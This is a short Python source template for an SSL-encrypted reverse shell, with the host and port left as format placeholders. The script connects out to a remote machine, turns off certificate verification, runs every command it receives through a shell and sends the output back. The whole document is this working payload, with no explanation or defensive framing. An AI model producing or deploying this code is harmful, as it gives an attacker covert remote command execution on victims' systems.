import socket
import subprocess
import ssl
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('%s', %d))
ssls = ssl.create_default_context()
ssls.check_hostname=False
ssls.verify_mode=ssl.CERT_NONE
sslsock = ssls.wrap_socket(s)
while 1:
    data = sslsock.recv(1024).decode('UTF-8')
    if data == 'exit\n':
        break
    if len(data) > 0:
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        sslsock.send(proc.stdout.read() + proc.stderr.read())
sslsock.close()
